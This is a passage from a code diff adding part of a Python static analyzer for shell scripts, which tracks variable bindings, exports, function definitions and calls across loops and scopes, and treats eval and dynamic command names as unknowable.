latest_unconditional is not None: + possible.extend(preceding[latest_unconditional:]) + return tuple(possible) + possible.extend(preceding) + if scope_id is None: + return tuple(possible) + scope_id = functions_by_id[scope_id].parent_function_id + + def possible_dynamic_function_ids(event: _ShellEventDraft) -> tuple[int, ...]: + scope_id = event.function_id + include_future = scope_id is not None + possible: list[int] = [] + event_region_ids = {region.region_id for region in self._region_chain(event.region_id)} + shadowed_names: set[bytes] = set() + while True: + exact_ids: set[int] = set() + for name in function_names_by_scope.get(scope_id, ()): + candidates = tuple( + candidate + for candidate in functions_by_scope_and_name.get((scope_id, name), ()) + if ( + include_future + or functions_by_id[candidate].local_start_byte < event.node.start_byte + ) + and ( + function_isolation_scopes[candidate] is None + or function_isolation_scopes[candidate] in event_region_ids + ) + ) + exact_ids.update(candidates) + if not candidates or name in shadowed_names: + continue + if include_future: + possible.extend(candidates) + continue + latest_unconditional = next( + ( + index + for index in range(len(candidates) - 1, -1, -1) + if candidates[index] not in uncertain_function_ids + ), + None, + ) + if latest_unconditional is None: + possible.extend(candidates) + else: + possible.extend(candidates[latest_unconditional:]) + shadowed_names.add(name) + possible.extend( + candidate + for candidate in function_ids_by_scope.get(scope_id, ()) + if candidate not in exact_ids + and ( + include_future + or functions_by_id[candidate].local_start_byte < event.node.start_byte + ) + and ( + function_isolation_scopes[candidate] is None + or function_isolation_scopes[candidate] in event_region_ids + ) + ) + if scope_id is None: + return tuple(possible) + scope_id = functions_by_id[scope_id].parent_function_id + + for event in self.event_drafts: + write_region_id = event.region_id + write_function_id = event.function_id + binding_names: set[str] = set() + export_names: set[str] = set() + function_names: set[bytes] = set() + bindings_unknown = False + exports_unknown = False + functions_unknown = False + if event.kind is _ShellEventKind.ASSIGNMENT: + for assignment_index in assignments_by_start.get(event.node.start_byte, ()): + assignment = assignments[assignment_index] + if assignment.prefix_for_command_start_byte is None: + binding_names.add(assignment.site.name) + if assignment.declaration_keyword == b"export": + export_names.add(assignment.site.name) + elif event.kind is _ShellEventKind.LOOP_BINDING: + if event_name := self._event_name(event): + binding_names.add(event_name) + elif event.kind is _ShellEventKind.LOOP_UPDATE: + event_name = self._event_name(event) + if event_name is None: + bindings_unknown = True + else: + binding_names.add(event_name) + elif event.kind is _ShellEventKind.UNSET: + unset_names = { + name + for child in event.node.named_children + if child.type == "variable_name" + and (name := self._identifier(self.raw[child.start_byte : child.end_byte])) + is not None + } + if unset_names: + binding_names.update(unset_names) + export_names.update(unset_names) + function_names.update(name.encode("ascii") for name in unset_names) + else: + bindings_unknown = True + exports_unknown = True + functions_unknown = True + elif event.kind is _ShellEventKind.FUNCTION_DEFINITION: + function_context = functions_by_start.get(event.node.start_byte) + if function_context is None: + functions_unknown = True + else: + write_region_id = function_context.definition_region_id + write_function_id = function_context.parent_function_id + if function_context.name.state is StaticValueState.EXACT: + function_names.add(cast(bytes, function_context.name.exact_bytes)) + else: + functions_unknown = True + elif event.kind is _ShellEventKind.COMMAND: + command_index = commands_by_start.get(event.node.start_byte) + if command_index is not None: + pre_model_command = commands[command_index] + pre_model_name = pre_model_command.site.argv[0] + if event.function_id is None: + root_function_call_events.append( + ( + event, + cast(bytes, pre_model_name.exact_bytes) + if pre_model_name.state is StaticValueState.EXACT + else None, + ) + ) + declaration_starts = { + assignments[index].local_start_byte + for index in declaration_assignments_by_command.get( + event.node.start_byte, + (), + ) + } + if self._nameref_declaration_mode( + pre_model_command.site.argv, + pre_model_command.arguments, + declaration_starts, + ): + persistent_barrier_scopes.add( + (event.function_id, self._scope_region_id(event.region_id)) + ) + event_chain = self._region_chain(event.region_id) + event_region_ids = {region.region_id for region in event_chain} + persistent_barrier_active = ( + event.function_id, + None, + ) in persistent_barrier_scopes or any( + (event.function_id, region.region_id) in persistent_barrier_scopes + for region in event_chain + if region.kind in isolated_region_kinds + ) + callees = tuple( + candidate + for candidate in ( + possible_function_ids( + event, + cast(bytes, pre_model_name.exact_bytes), + include_future=event.function_id is not None, + ) + if pre_model_name.state is StaticValueState.EXACT + and (event.function_id is not None or persistent_barrier_active) + else () + ) + if function_isolation_scopes[candidate] is None + or function_isolation_scopes[candidate] in event_region_ids + ) + if event.function_id is not None: + if pre_model_name.state is StaticValueState.EXACT: + barrier_function_call_names.setdefault(event.function_id, set()).add( + cast(bytes, pre_model_name.exact_bytes) + ) + else: + barrier_function_dynamic_calls.add(event.function_id) + barrier_callees = ( + callees + if pre_model_name.state is StaticValueState.EXACT + else possible_dynamic_function_ids(event) + ) + lexical_barrier_callees = { + candidate + for candidate in barrier_callees + if functions_by_id[candidate].parent_function_id is not None + } + if lexical_barrier_callees: + barrier_function_lexical_calls.setdefault( + event.function_id, set() + ).update(lexical_barrier_callees) + if persistent_barrier_active: + persistent_barrier_call_events.append( + ( + event, + cast(bytes, pre_model_name.exact_bytes) + if pre_model_name.state is StaticValueState.EXACT + else None, + ) + ) + if pre_model_name == StaticValue.exact(b"eval"): + bindings_unknown = True + exports_unknown = True + functions_unknown = True + elif pre_model_name == StaticValue.exact(b"export"): + for argument in pre_model_command.arguments[1:]: + if argument.local_start_byte in declaration_starts: + continue + if argument.value.state is not StaticValueState.EXACT: + exports_unknown = True + continue + argument_bytes = cast(bytes, argument.value.exact_bytes) + if argument_bytes == b"-n": + continue + if export_name := self._identifier(argument_bytes): + export_names.add(export_name) + if ( + write_function_id is not None + and pre_model_name.state is StaticValueState.EXACT + and not any( + region.kind in isolated_region_kinds + for region in self._region_chain(write_region_id) + ) + ): + if callees: + function_calls.setdefault(write_function_id, set()).update(callees) + elif ( + write_function_id is not None + and pre_model_name.state is not StaticValueState.EXACT + ): + bindings_unknown = True + exports_unknown = True + functions_unknown = True + if not ( + binding_names + or export_names + or function_names + or bindings_unknown + or exports_unknown + or functions_unknown + ): + continue + write_chain = self._region_chain(write_region_id) + if write_function_id is not None and not any( + region.kind in isolated_region_kinds for region in write_chain + ): + function_binding_writes.setdefault(write_function_id, set()).update(binding_names) + function_export_writes.setdefault(write_function_id, set()).update(export_names) + function_function_writes.setdefault(write_function_id, set()).update(function_names) + if bindings_unknown: + function_binding_writes_unknown.add(write_function_id) + if exports_unknown: + function_export_writes_unknown.add(write_function_id) + if functions_unknown: + function_function_writes_unknown.add(write_function_id) + crossed_isolation = False + for region in write_chain: + if region.kind in isolated_region_kinds: + crossed_isolation = True + if ( + region.kind in loop_region_kinds + and not crossed_isolation + and region.function_id == write_function_id + ): + loop_binding_writes.setdefault(region.region_id, set()).update(binding_names) + loop_export_writes.setdefault(region.region_id, set()).update(export_names) + loop_function_writes.setdefault(region.region_id, set()).update(function_names) + if bindings_unknown: + loop_binding_writes_unknown.add(region.region_id) + if exports_unknown: + loop_export_writes_unknown.add(region.region_id) + if functions_unknown: + loop_function_writes_unknown.add(region.region_id) + + def call_event_function_ids( + event: _ShellEventDraft, + name: bytes | None, + ) -> tuple[int, ...]: + return ( + possible_function_ids( + event, + name, + include_future=event.function_id is not None, + ) + if name is not None + else possible_dynamic_function_ids(event) + ) + + def summarized_function_callees( + event: _ShellEventDraft, + function_id: int, + ) -> set[int]: + callees = set(barrier_function_lexical_calls.get(function_id, ())) + for call_name in barrier_function_call_names.get(function_id, ()): + callees.update(call_event_function_ids(event, call_name)) + if function_id in barrier_function_dynamic_calls: + callees.update(possible_dynamic_function_ids(event)) + return callees + + def apply_persistent_barrier( + resolution_event: _ShellEventDraft, + barrier_name: bytes | None, + ) -> None: + pending_persistent_functions = list( + call_event_function_ids(resolution_event, barrier_name) + ) + visited_persistent_functions: set[int] = set() + while pending_persistent_functions: + pending_function_id = pending_persistent_functions.pop() + if pending_function_id in visited_persistent_functions: + continue + visited_persistent_functions.add(pending_function_id) + persistent_unknown_function_ids.add(pending_function_id) + pending_persistent_functions.extend( + summarized_function_callees( + resolution_event, + pending_function_id, + ) + ) + + barrier_names_by_function: dict[int, set[bytes | None]] = {} + for barrier_event, barrier_name in persistent_barrier_call_events: + apply_persistent_barrier(barrier_event, barrier_name) + if barrier_event.function_id is not None: + barrier_names_by_function.setdefault(barrier_event.function_id, set()).add( + barrier_name + ) + + for root_event, root_name in root_function_call_events: + pending_origin_functions = list(call_event_function_ids(root_event, root_name)) + visited_origin_functions: set[int] = set() + while pending_origin_functions: + origin_function_id = pending_origin_functions.pop() + if origin_function_id in visited_origin_functions: + continue + visited_origin_functions.add(origin_function_id) + for barrier_name in barrier_names_by_function.get(origin_function_id, ()): + apply_persistent_barrier(root_event, barrier_name) + pending_origin_functions.extend( + summarized_function_callees(root_event, origin_function_id) + ) + self.persistent_unknown_function_ids = frozenset(persistent_unknown_function_ids) + + function_effect_cache: dict[ + int, + tuple[ + frozenset[str], + frozenset[str], + frozenset[bytes], + bool, + bool, + bool, + ], + ] = {} + function_effect_cache_items = 0 + + def function_effects( + function_id: int, + ) -> tuple[ + frozenset[str], + frozenset[str], + frozenset[bytes], + bool, + bool, + bool, + ]: + nonlocal function_effect_cache_items + cached = function_effect_cache.get(function_id) + if cached is not None: + return cached + binding_names: set[str] = set() + export_names: set[str] = set() + function_names: set[bytes] = set() + bindings_unknown = False + exports_unknown = False + functions_unknown = False + pending = [function_id] + visited: set[int] = set() + while pending: + candidate = pending.pop() + if candidate in visited: + continue + visited.add(candidate) + if candidate not in functions_by_id: + bindings_unknown = True + exports_unknown = True + functions_unknown = True + continue + binding_names.update(function_binding_writes.get(candidate, ())) + export_names.update(function_export_writes.get(candidate, ())) + function_names.update(function_function_writes.get(candidate, ())) + bindings_unknown = bindings_unknown or candidate in function_binding_writes_unknown + exports_unknown = exports_unknown or candidate in function_export_writes_unknown + functions_unknown = ( + functions_unknown or candidate in function_function_writes_unknown + ) + pending.extend(function_calls.get(candidate, ())) + effect = ( + frozenset(binding_names), + frozenset(export_names), + frozenset(function_names), + bindings_unknown, + exports_unknown, + functions_unknown, + ) + effect_items = len(binding_names) + len(export_names) + len(function_names) + 3 + if function_effect_cache_items + effect_items <= MAX_DEPENDENCY_RETAINED_SHELL_IR: + function_effect_cache[function_id] = effect + function_effect_cache_items += effect_items + return effect + + for event in self.event_drafts: + if event.kind is not _ShellEventKind.COMMAND: + continue + command_index = commands_by_start.get(event.node.start_byte) + if command_index is None: + continue + pre_model_name = commands[command_index].site.argv[0] + event_loop_ids: list[int] = [] + crossed_isolation = False + for region in self._region_chain(event.region_id): + if region.kind in isolated_region_kinds: + crossed_isolation = True + if ( + region.kind in loop_region_kinds + and not crossed_isolation + and region.function_id == event.function_id + ): + event_loop_ids.append(region.region_id) + for loop_id in event_loop_ids: + if pre_model_name.state is StaticValueState.EXACT: + loop_command_names.setdefault(loop_id, set()).add( + cast(bytes, pre_model_name.exact_bytes) + ) + else: + loop_dynamic_commands.add(loop_id) + if pre_model_name.state is not StaticValueState.EXACT: + continue + callees = possible_function_ids( + event, + cast(bytes, pre_model_name.exact_bytes), + include_future=event.function_id is not None, + ) + if not callees: + continue + callee_binding_write_names: set[str] = set() + callee_export_write_names: set[str] = set() + callee_function_write_names: set[bytes] = set() + callee_bindings_unknown = False + callee_exports_unknown = False + callee_functions_unknown = False + for callee in callees: + ( + nested_binding_names, + nested_export_names, + nested_function_names, + nested_bindings_unknown, + nested_exports_unknown, + nested_functions_unknown, + ) = function_effects(callee) + callee_binding_write_names.update(nested_binding_names) + callee_export_write_names.update(nested_export_names) + callee_function_write_names.update(nested_function_names) + callee_bindings_unknown = callee_bindings_unknown or nested_bindings_unknown + callee_exports_unknown = callee_exports_unknown or nested_exports_unknown + callee_functions_unknown = callee_functions_unknown or nested_functions_unknown + for loop_id in event_loop_ids: + loop_binding_writes.setdefault(loop_id, set()).update(callee_binding_write_names) + loop_export_writes.setdefault(loop_id, set()).update(callee_export_write_names) + loop_function_writes.setdefault(loop_id, set()).update(callee_function_write_names) + if callee_bindings_unknown: + loop_binding_writes_unknown.add(loop_id) + if callee_exports_unknown: + loop_export_writes_unknown.add(loop_id) + if callee_functions_unknown: + loop_function_writes_unknown.add(loop_id) + + function_mutation_positions: dict[int | None, dict[bytes, list[int]]] = {} + function_namespace_unknown_positions: dict[int | None, list[int]] = {} + for event in self.event_drafts: + if event.kind is _ShellEventKind.FUNCTION_DEFINITION: + mutation_function = functions_by_start.get(event.node.start_byte) + if ( + mutation_function is not None + and mutation_function.name.state is StaticValueState.EXACT + ): + function_mutation_positions.setdefault( + mutation_function.parent_function_id, {} + ).setdefault(cast(bytes, mutation_function.name.exact_bytes), []).append( + event.node.start_byte + ) + continue + if event.kind is _ShellEventKind.UNSET: + unset_names = { + name + for child in event.node.named_children + if child.type == "variable_name" + and (name := self._identifier(self.raw[child.start_byte : child.end_byte])) + is not None + } + if not unset_names: + function_namespace_unknown_positions.setdefault(event.function_id, []).append( + event.node.start_byte + ) + continue + for unset_name in unset_names: + function_mutation_positions.setdefault(event.function_id, {}).setdefault( + unset_name.encode("ascii"), [] + ).append(event.node.start_byte) + continue + if event.kind is not _ShellEventKind.COMMAND: + continue + command_index = commands_by_start.get(event.node.start_byte) + if command_index is None: + continue + pre_model_command_name = commands[command_index].site.argv[0] + if ( + pre_model_command_name.state is not StaticValueState.EXACT + or pre_model_command_name == StaticValue.exact(b"eval") + ): + function_namespace_unknown_positions.setdefault(event.function_id, []).append( + event.node.start_byte + ) + for mutations in function_mutation_positions.values(): + for positions in mutations.values(): + positions.sort() + for positions in function_namespace_unknown_positions.values(): + positions.sort() + function_resolution_change_cache: dict[tuple[int, bytes], bool] = {} + + def function_resolution_may_change(function_id: int, name: bytes) -> bool: + cache_key = (function_id, name) + cached = function_resolution_change_cache.get(cache_key) + if cached is not None: + return cached + function = functions_by_id[function_id] + scope_id = function.parent_function_id + while True: + name_positions = function_mutation_positions.get(scope_id, {}).get(name, ()) + if bisect_right(name_positions, function.local_end_byte) < len(name_positions): + function_resolution_change_cache[cache_key] = True + return True + unknown_positions = function_namespace_unknown_positions.get(scope_id, ()) + if bisect_right(unknown_positions, function.local_end_byte) < len( + unknown_positions + ): + function_resolution_change_cache[cache_key] = True + return True + if scope_id is None: + break + scope_id = functions_by_id[scope_id].parent_function_id + function_resolution_change_cache[cache_key] = False + return False + + root = _StateFrame( + 0, + None, + dict(initial_bindings or {}), + dict(initial_functions or {}), + initial_functions_unknown, + ) + frames: dict[tuple[str, int], _StateFrame] = {} + control_frames: dict[int, _StateFrame] = {} + control_parents: dict[int, _StateFrame] = {} + active_control_scopes: list[int] = [] + updates: list[_StateUpdateIR] = [] + events: list[_StateEventIR] = [] + modeled_assignment_indices: set[int] = set() + command_execution_order = 0 + opaque_initial_function_names = frozenset(initial_functions or {}) + + def enter_control_scope( + scope_id: int, + parent: _StateFrame, + draft: _ShellEventDraft, + ) -> _StateFrame: + retained = control_frames.get(scope_id) + if retained is not None: + return retained + retained = self._new_state_frame(parent) + control_frames[scope_id] = retained + control_parents[scope_id] = parent + active_control_scopes.append(scope_id) + if self.regions[scope_id].kind not in loop_region_kinds: + return retained + + called_names = loop_command_names.get(scope_id, set()) + has_dynamic_call = scope_id in loop_dynamic_commands + value_names = set(loop_binding_writes.get(scope_id, ())) + export_names = set(loop_export_writes.get(scope_id, ())) + function_names = set(loop_function_writes.get(scope_id, ())) + bindings_unknown = scope_id in loop_binding_writes_unknown + exports_unknown = scope_id in loop_export_writes_unknown + functions_unknown = scope_id in loop_function_writes_unknown + for called_name in called_names: + found, function_id = self._lookup_function(retained, called_name) + if not found: + continue + ( + live_binding_names, + live_export_names, + live_function_names, + live_bindings_unknown, + live_exports_unknown, + live_functions_unknown, + ) = function_effects( + _IMPORTED_FUNCTION_ID + if called_name in opaque_initial_function_names + or function_id is None + or function_id not in functions_by_id + else function_id + ) + value_names.update(live_binding_names) + export_names.update(live_export_names) + function_names.update(live_function_names) + bindings_unknown = bindings_unknown or live_bindings_unknown + exports_unknown = exports_unknown or live_exports_unknown + functions_unknown = functions_unknown or live_functions_unknown + if has_dynamic_call: + bindings_unknown = True + exports_unknown = True + functions_unknown = True + if bindings_unknown: + value_names.update(_visible_bindings(retained)) + if exports_unknown: + export_names.update(_visible_bindings(retained)) + for binding_name in sorted(value_names | export_names): + previous = self._lookup_binding(retained, binding_name) + self._apply_binding( + frame=retained, + binding=_BindingIR( + binding_name, + (StaticValue.unknown() if binding_name in value_names else previous.value), + ( + _ExportState.UNKNOWN + if binding_name in export_names + else previous.export_state + ), + () if binding_name in value_names else previous.fragments, + ), + role=_ControlRole.LOOP, + draft=draft, + updates=updates, + ) + for function_name in sorted(function_names): + retained.functions[function_name] = None + if functions_unknown: + for function_name, function_id in _visible_functions(retained).items(): + retained.functions[function_name] = ( + _IMPORTED_FUNCTION_ID if function_id == _IMPORTED_FUNCTION_ID else None + ) + retained.functions_unknown = True + return retained + + for draft in self.event_drafts: + if self.halted: + break + effective_draft = draft + if draft.kind is _ShellEventKind.FUNCTION_DEFINITION: + definition_function = functions_by_start.get(draft.node.start_byte) + if definition_function is not None: + effective_draft = replace( + draft, + region_id=definition_function.definition_region_id, + function_id=definition_function.parent_function_id, + ) + effective_chain = self._region_chain(effective_draft.region_id) + current_region_ids = {region.region_id for region in effective_chain} + for scope_id in tuple(reversed(active_control_scopes)): + if scope_id in current_region_ids: + continue + scope_kind = self.regions[scope_id].kind + if ( + scope_kind + in { + _ExecutionRegionKind.ELIF, + _ExecutionRegionKind.ELSE, + _ExecutionRegionKind.CASE_ITEM, + } + and self.branch_container_ids.get(scope_id) in current_region_ids + ): + continue + self._merge_control_frame( + frame=control_frames[scope_id], + parent=control_parents[scope_id], + scope_id=scope_id, + draft=effective_draft, + updates=updates, + ) + active_control_scopes.remove(scope_id) + span = self._node_span(draft.node) or self._point_span(draft.node.start_byte) + role = self._control_role(effective_draft) + name = self._event_name(draft) + if not self._reserve(1, span=span): + break + events.append( + _StateEventIR( + len(events), + draft.kind, + role, + span, + effective_draft.region_id, + effective_draft.function_id, + draft.node.start_byte, + draft.node.end_byte, + name, + ) + ) + frame = self._state_frame( + effective_draft, + root, + frames, + persistent_unknown_function_ids, + ) + control_scope_ids = self._uncertain_scope_ids(effective_draft) + if control_scope_ids: + region_positions = { + region.region_id: position for position, region in enumerate(effective_chain) + } + isolation_scope_id = self._scope_region_id(effective_draft.region_id) + isolation_position = ( + region_positions[isolation_scope_id] if isolation_scope_id is not None else None + ) + outer_control_ids = ( + tuple( + scope_id + for scope_id in control_scope_ids + if region_positions[scope_id] > isolation_position + ) + if isolation_position is not None + else () + ) + inner_control_ids = tuple( + scope_id + for scope_id in control_scope_ids + if isolation_position is None or region_positions[scope_id] < isolation_position + ) + parent = frame.parent or root if outer_control_ids else frame + for scope_id in outer_control_ids: + parent = enter_control_scope(scope_id, parent, effective_draft) + if outer_control_ids: + frame.parent = parent + parent = frame + for scope_id in inner_control_ids: + parent = enter_control_scope(scope_id, parent, effective_draft) + frame = parent + if self.halted: + break + + if draft.kind is _ShellEventKind.ASSIGNMENT: + for assignment_index in assignments_by_start.get(draft.node.start_byte, ()): + assignment = assignments[assignment_index] + if ( + assignment.prefix_for_command_start_byte is not None + or assignment.declaration_keyword is not None + ): + continue + assignment = self._resolve_assignment(assignment, frame) + assignments[assignment_index] = assignment + modeled_assignment_indices.add(assignment_index) + previous = self._lookup_binding(frame, assignment.site.name) + export_state = ( + _ExportState.UNEXPORTED + if previous.value.state is StaticValueState.UNBOUND + else previous.export_state + ) + self._apply_binding( + frame=frame, + binding=_BindingIR( + assignment.site.name, + assignment.site.value, + export_state, + assignment.value_fragments, + ), + role=role, + draft=draft, + updates=updates, + ) + continue + + if draft.kind in { + _ShellEventKind.LOOP_BINDING, + _ShellEventKind.LOOP_UPDATE, + }: + if draft.kind is _ShellEventKind.LOOP_UPDATE: + self._issue(ShellIssueReason.UNSUPPORTED_SEMANTICS, span) + affected_names = ( + (name,) + if name is not None + else ( + tuple(_visible_bindings(frame)) + if draft.kind is _ShellEventKind.LOOP_UPDATE + else () + ) + ) + for binding_name in affected_names: + self._apply_binding( + frame=frame, + binding=_BindingIR( + binding_name, + StaticValue.unknown(), + _ExportState.UNKNOWN, + (), + ), + role=_ControlRole.LOOP, + draft=draft, + updates=updates, + ) + if draft.kind is _ShellEventKind.LOOP_UPDATE: + frame.sticky_unknown_names.update(affected_names) + continue + + if draft.kind is _ShellEventKind.UNSET: + named = draft.node.named_children + if name is not None: + frame.functions[name.encode("ascii")] = None + self._apply_binding( + frame=frame, + binding=_BindingIR( + name, + StaticValue.unbound(), + _ExportState.UNEXPORTED, + (), + ), + role=role, + draft=draft, + updates=updates, + ) + else: + self._issue(ShellIssueReason.UNSUPPORTED_SEMANTICS, span) + changed = False + for child in named: + if child.type != "variable_name": + continue + child_name = self._identifier(self.raw[child.start_byte : child.end_byte]) + if child_name is not None: + changed = True + frame.functions[self.raw[child.start_byte : child.end_byte]] = None + self._apply_binding( + frame=frame, + binding=_BindingIR( + child_name, + StaticValue.unknown(), + _ExportState.UNKNOWN, + (), + ), + role=role, + draft=draft, + updates=updates, + ) + if not changed: + for binding_name in tuple(_visible_bindings(frame)): + self._apply_binding( + frame=frame, + binding=_BindingIR( + binding_name, + StaticValue.unknown(), + _ExportState.UNKNOWN, + (), + ), + role=role, + draft=draft, + updates=updates, + ) + for function_name in tuple(_visible_functions(frame)): + frame.functions[function_name] = None + continue + + if draft.kind is _ShellEventKind.FUNCTION_DEFINITION: + modeled_function = functions_by_start.get(draft.node.start_byte) + if ( + modeled_function is not None + and modeled_function.name.state is StaticValueState.EXACT + ): + function_name_bytes = cast(bytes, modeled_function.name.exact_bytes) + frame.functions[function_name_bytes] = modeled_function.function_id + continue + + if draft.kind is not _ShellEventKind.COMMAND: + continue + command_index = commands_by_start.get(draft.node.start_byte) + if command_index is None: + continue + command = commands[command_index] + prefix_bindings: list[_BindingIR] = [] + prefix_assignment_indices = prefix_assignments_by_command.get( + command.local_start_byte, [] + ) + declaration_indices = declaration_assignments_by_command.get( + command.local_start_byte, [] + ) + declaration_starts = { + assignments[index].local_start_byte for index in declaration_indices + } + prefix_name_counts: dict[str, int] = {} + for assignment_index in prefix_assignment_indices: + prefix_name = assignments[assignment_index].site.name + prefix_name_counts[prefix_name] = prefix_name_counts.get(prefix_name, 0) + 1 + for assignment_index in prefix_assignment_indices: + original_assignment = assignments[assignment_index] + assignment = self._resolve_assignment(original_assignment, frame) + if any( + atom.kind is _ValueAtomKind.VARIABLE + and atom.name in prefix_name_counts + and ( + atom.name != original_assignment.site.name + or prefix_name_counts[original_assignment.site.name] > 1 + ) + for atom in original_assignment.value_atoms + ): + assignment = replace( + assignment, + site=replace( + assignment.site, + value=StaticValue.unknown(), + ), + value_fragments=(), + ) + assignments[assignment_index] = assignment + prefix_bindings.append( + _BindingIR( + assignment.site.name, + assignment.site.value, + _ExportState.EXPORTED, + assignment.value_fragments, + ) + ) + arguments: list[_ArgumentIR] = [] + for argument in command.arguments: + value, value_fragments = self._resolve_value( + argument.value, + argument.fragments, + argument.atoms, + frame, + assignment_value=argument.local_start_byte in declaration_starts, + span=argument.span, + ) + arguments.append( + replace( + argument, + value=value, + fragments=value_fragments, + atoms=(), + ) + ) + argv = tuple(argument.value for argument in arguments) + resolution = _CommandResolution(_CommandResolutionKind.AMBIGUOUS) + if argv[0].state is StaticValueState.EXACT: + command_name = cast(bytes, argv[0].exact_bytes) + if draft.function_id is not None: + own_function = functions_by_id.get(draft.function_id) + own_name = ( + cast(bytes, own_function.name.exact_bytes) + if own_function is not None + and own_function.name.state is StaticValueState.EXACT + else None + ) + if own_name == command_name: + resolution = _CommandResolution( + _CommandResolutionKind.FUNCTION, + draft.function_id, + ) + elif function_resolution_may_change(draft.function_id, command_name): + resolution = _CommandResolution(_CommandResolutionKind.AMBIGUOUS) + else: + found, function_id = self._lookup_function(frame, command_name) + resolution = ( + _CommandResolution(_CommandResolutionKind.EXTERNAL) + if not found + else _CommandResolution( + _CommandResolutionKind.FUNCTION + if function_id is not None + else _CommandResolutionKind.AMBIGUOUS, + function_id, + ) + ) + else: + found, function_id = self._lookup_function(frame, command_name) + resolution = ( + _CommandResolution(_CommandResolutionKind.EXTERNAL) + if not found + else _CommandResolution( + _CommandResolutionKind.FUNCTION + if function_id is not None + else _CommandResolutionKind.AMBIGUOUS, + function_id, + ) + ) + if not self._reserve(1 + len(prefix_bindings), span=command.site.span): + break + command = replace( + command, + site=replace(command.site, argv=argv), + arguments=tuple(arguments), + prefix_assignments=tuple( + assignments[index].site for index in prefix_assignment_indices + ), + prefix_bindings=tuple(prefix_bindings), + program_id=self.unit.unit_id, + execution_order=command_execution_order, + state_update_order=len(updates), + state_frame_id=frame.frame_id, + resolution=resolution, + ) + command_execution_order += 1 + commands[command_index] = command + modeled_assignment_indices.update(prefix_assignment_indices) + + declaration_keyword = ( + cast(bytes, argv[0].exact_bytes) + if argv[0].state is StaticValueState.EXACT + and cast(bytes, argv[0].exact_bytes) in _DECLARATION_KEYWORD_BYTES + else None + ) + declaration_operands = [ + argument + for argument in arguments[1:] + if argument.local_start_byte not in declaration_starts + ] + declaration_options = [ + argument + for argument in declaration_operands + if argument.value.state is not StaticValueState.EXACT + or cast(bytes, argument.value.exact_bytes).startswith((b"-", b"+")) + ] + post_assignment_export_n = ( + declaration_keyword == b"export" + and bool(declaration_starts) + and len(declaration_options) == 1 + and declaration_options[0].value == StaticValue.exact(b"-n") + and declaration_options[0].local_start_byte > min(declaration_starts) + ) + unsupported_export_assignment = ( + declaration_keyword == b"export" + and bool(declaration_indices) + and bool(declaration_options) + and not post_assignment_export_n + ) + unsupported_declaration_mode = declaration_keyword in _DECLARATION_KEYWORD_BYTES - { + b"export" + } and bool(declaration_options) + persistent_declaration_mode = declaration_keyword == b"readonly" or ( + declaration_keyword in {b"declare", b"local", b"typeset"} + and any( + option.value.state is not StaticValueState.EXACT + or any( + byte in b"aAgilnrtux" for byte in cast(bytes, option.value.exact_bytes)[1:] + ) + for option in declaration_options + ) + ) + nameref_declaration_mode = self._nameref_declaration_mode( + argv, + arguments, + declaration_starts, + ) + unsupported_declaration_semantics = ( + unsupported_export_assignment + or unsupported_declaration_mode + or persistent_declaration_mode + ) + if unsupported_declaration_semantics: + self._issue(ShellIssueReason.UNSUPPORTED_SEMANTICS, command.site.span) + resolved_declarations: list[tuple[int, _AssignmentIR]] = [] + for assignment_index in declaration_indices: + assignment = self._resolve_assignment(assignments[assignment_index], frame) + if unsupported_declaration_semantics: + assignment = replace( + assignment, + site=replace(assignment.site, value=StaticValue.unknown()), + value_fragments=(), + ) + assignments[assignment_index] = assignment + modeled_assignment_indices.add(assignment_index) + resolved_declarations.append((assignment_index, assignment)) + for _assignment_index, assignment in resolved_declarations: + previous = self._lookup_binding(frame, assignment.site.name) + export_state = ( + _ExportState.EXPORTED + if assignment.declaration_keyword == b"export" + and not unsupported_declaration_semantics + else previous.export_state + ) + if unsupported_declaration_semantics: + export_state = _ExportState.UNKNOWN + self._apply_binding( + frame=frame, + binding=_BindingIR( + assignment.site.name, + assignment.site.value, + export_state, + assignment.value_fragments, + ), + role=role, + draft=draft, + updates=updates, + ) + + if persistent_declaration_mode: + persistent_names = { + assignment.site.name for _index, assignment in resolved_declarations + } + for operand in declaration_operands: + if operand in declaration_options: + continue + if operand.value.state is not StaticValueState.EXACT: + persistent_names.update(_visible_bindings(frame)) + continue + if persistent_name := self._identifier(cast(bytes, operand.value.exact_bytes)): + persistent_names.add(persistent_name) + if nameref_declaration_mode: + persistent_names.update(_visible_bindings(frame)) + frame.persistent_unknown_names.update(persistent_names) + frame.persistent_bindings_unknown = ( + frame.persistent_bindings_unknown or nameref_declaration_mode + ) + for persistent_name in sorted(persistent_names): + self._apply_binding( + frame=frame, + binding=_BindingIR( + persistent_name, + StaticValue.unknown(), + _ExportState.UNKNOWN, + (), + ), + role=role, + draft=draft, + updates=updates, + ) + + if argv[0] == StaticValue.exact(b"export"): + export_operand_arguments = [ + argument + for argument in arguments[1:] + if argument.local_start_byte not in declaration_starts + ] + export_operands = [argument.value for argument in export_operand_arguments] + post_assignment_no_export = ( + bool(declaration_starts) + and len(export_operands) == 2 + and export_operands[0] == StaticValue.exact(b"-n") + and export_operand_arguments[0].local_start_byte > min(declaration_starts) + ) + if ( + len(export_operands) == 1 + and export_operands[0].state is StaticValueState.EXACT + and ( + export_name := self._identifier(cast(bytes, export_operands[0].exact_bytes)) + ) + is not None + ): + previous = self._lookup_binding(frame, export_name) + self._apply_binding( + frame=frame, + binding=replace(previous, export_state=_ExportState.EXPORTED), + role=role, + draft=draft, + updates=updates, + ) + elif ( + post_assignment_no_export + and export_operands[1].state is StaticValueState.EXACT + and ( + export_name := self._identifier(cast(bytes, export_operands[1].exact_bytes)) + ) + is not None + ): + self._issue( + ShellIssueReason.UNSUPPORTED_SEMANTICS, + command.site.span, + ) + previous = self._lookup_binding(frame, export_name) + self._apply_binding( + frame=frame, + binding=replace( + previous, + export_state=_ExportState.UNKNOWN, + ), + role=role, + draft=draft, + updates=updates, + ) + elif ( + len(export_operands) == 2 + and export_operands[0] == StaticValue.exact(b"-n") + and export_operands[1].state is StaticValueState.EXACT + and ( + export_name := self._identifier(cast(bytes, export_operands[1].exact_bytes)) + ) + is not None + ): + previous = self._lookup_binding(frame, export_name) + self._apply_binding( + frame=frame, + binding=replace(previous, export_state=_ExportState.UNEXPORTED), + role=role, + draft=draft, + updates=updates, + ) + elif export_operands: + self._issue(ShellIssueReason.UNSUPPORTED_SEMANTICS, command.site.span) + for argv_value in export_operands: + if argv_value.state is not StaticValueState.EXACT: + continue + export_name = self._identifier(cast(bytes, argv_value.exact_bytes)) + if export_name is None: + continue + previous = self._lookup_binding(frame, export_name) + self._apply_binding( + frame=frame, + binding=replace( + previous, + export_state=_ExportState.UNKNOWN, + ), + role=role, + draft=draft, + updates=updates, + ) + + effect_function_ids: tuple[int, 